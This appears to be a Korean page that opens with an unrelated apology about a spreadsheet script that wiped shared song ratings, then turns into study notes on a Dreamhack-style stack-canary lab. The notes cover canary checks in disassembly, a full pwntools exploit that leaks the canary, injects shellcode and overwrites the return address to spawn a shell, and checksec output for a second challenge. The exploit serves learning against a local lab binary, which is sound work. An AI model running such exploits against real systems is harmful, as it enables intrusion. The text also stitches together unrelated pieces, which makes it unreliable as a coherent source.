한번 실행하면 되돌리기가 어렵습니다. 위 스크린샷에서 눈치채셨겠지만... 제가 이걸 원래 사본을 만들어서 테스트를 돌렸었는데 공용 시트에서도 한번 테스트를 돌려봤다가 여러분이 주신 평점을 영영 잃었습니다.......... Ctrl + Z도 안 먹히고 되돌리기버튼을 눌러도 안 돌아갑니다. 실행하실 땐 셀번호를 충분히 확인해주세요. 그리고 염치없지만 이거 만들어왔으니 한번만 봐주시고 제가 넣은 곡 평점 좀 다시 주실 수 있을까요 죄송합니다
스크립트에서 셀 번호를 넣는 부분과 상단 한국어 메모 이외의 부분을 수정하시면 안 됩니다. 실행이 안 될 가능성이 높아요. 혹시 실수로 건드렸다고 해도 저장을 안 하셨다면, 그냥 그대로 끄고 나가시면 변경이 적용되지 않으므로 괜찮습니다. 건드린 채로 저장까지 해 버렸다면 저를 불러주세요. 코드 사본이 따로 저장되어 있으니 금방 복구해올 수 있습니다.
0x00000000000006b2 <+8>: mov rax,QWORD PTR fs:0x28 //fs:0x28의 데이터 rax에 저장
// fs = 세그먼트 레지스터의 일종. 프로세스가 시작될 때 랜덤 값을 저장받음
// 위 코드 실행으로 rax에는 첫 바이트가 널바이트인 8바이트 (랜덤) 데이터가 저장됨
0x00000000000006bb <+17>: mov QWORD PTR [rbp-0x8],rax //rax의 랜덤값 rbp-0x8에 저장
0x00000000000006bf <+21>: xor eax,eax
2-2. 카나리 실행
추가된 에필로그 코드에 중단점 설정 -> 바이너리 계속 실행
0x00000000000006dc <+50>: mov rcx,QWORD PTR [rbp-0x8] //저장한 카나리 rcx로 이동
0x00000000000006e0 <+54>: xor rcx,QWORD PTR fs:0x28 //rcx값을 fs:0x28과 비교
// fs:0x28에는 원래의 카나리값이 들어있으므로 두 값이 동일하면 xor 연산결과는 0이 되며
// je 조건 만족, main함수는 +70d으로 점프하여 정상적으로 반환
// 만약 그렇지 않으면 +65의 __stack_chk_fail이 호출되며 프로그램 강제종료
0x00000000000006e9 <+63>: je 0x6f0 <main+70>
0x00000000000006eb <+65>: call 0x570 <__stack_chk_fail@plt>
강제종료 시 출력되는 메시지
*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
3. 카나리 생성 과정
: 카나리 값은 프로세스 시작 시 TLS에 전역 변수로 저장되고
각 함수마다 프롤로그/에필로그에서 이 값을 참조함
3-1. TLS 주소 파악
fs = TLS를 가리킴. fs의 값을 알면 TLS 주소도 알 수 있음
/ 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회/설정할 수 있음
(타 레지스터처럼 info register fs나 prints $fs 같은 명령어로는 값 알 수 없음)
=> fs 값 설정 시 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점 설정하여
fs가 어떤 값으로 설정되는지 조사
-> arch_prctl(ARCH_SET_FS, addr) 형태로 호출하면 fs 값이 addr로 설정됨
pwndbg> continue
Continuing.
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)
Old value = 0
New value = -1942582016
security_init () at rtld.c:807
807 in rtld.c
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
3-2. 셸 획득
지난 실습과 달리 셸 획득 함수가 주어지지 않으므로 셸 획득 코드를 직접 주입하고
해당 주소로 실행흐름을 옮겨야 함
-> 이미 주소가 알려진 buf에 셸코드 주입 -> 해당 주소로 실행 흐름 이동하여 셸 획득
4. 스택 프레임 정보 수집
스택 프레임 구조 파악
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8501
[+] Address of buf: 0x7ffe1d28c570
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
(결과값)
5. 카나리 릭
buf와 카나리 사이를 임의 값으로 채우면 프로그램에서 buf를 출력할 때 카나리도 함께 출력될 것임
스택 프레임 구조를 고려하여 카나리를 구하는 코드 작성
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400
6. 익스플로잇
buf에 셸코드를 주입하고 카나리를 구한 값으로 덮은 뒤
-> 반환주소 (RET)를 buf로 덮으면 셸코드가 실행됨
(context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있음)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8593
[+] Address of buf: 0x7ffc323acb00
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x6955522676848000
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
전체 익스플로잇 코드
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
셸 획득을 위한 get_shell() 함수가 정의되어 있음 (셸코드 별도 삽입 대신 리턴주소에 get_shell() 주소를 삽입하면 됨)
유저 입력이 select 변수에 담겨 들어감 (이 부분에서는 정확히 버퍼 길이만큼만 읽으므로 오버플로우 불가능)
유저 입력: F > box 배열에 입력값을 넣을 수 있으나 딱 배열 길이만큼만 입력받고 있으므로 취약x
유저 입력: P > scanf로 idx를 입력받고 있음 직후 print_box로 해당 idx가 box 배열 인덱스로 들어갔을 경우의 주소값 출력 = box부터 idx까지의 거리(바이트) 파악 가능. => 이후 main 함수의 어셈블리 코드를 보고 카나리 위치를 알아낸 뒤 idx에 카나리 위치를 넣으면 box 배열부터 카나리까지의 거리를 구할 수 있음
유저 입력: E > 원하는 길이를 설정해 그 길이만큼의 문자열을 넘겨줄 수 있음 => 페이로드(겟셸) 넘겨줄 수 있음
먼저 checksec으로 적용된 보호기법을 살펴본다.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)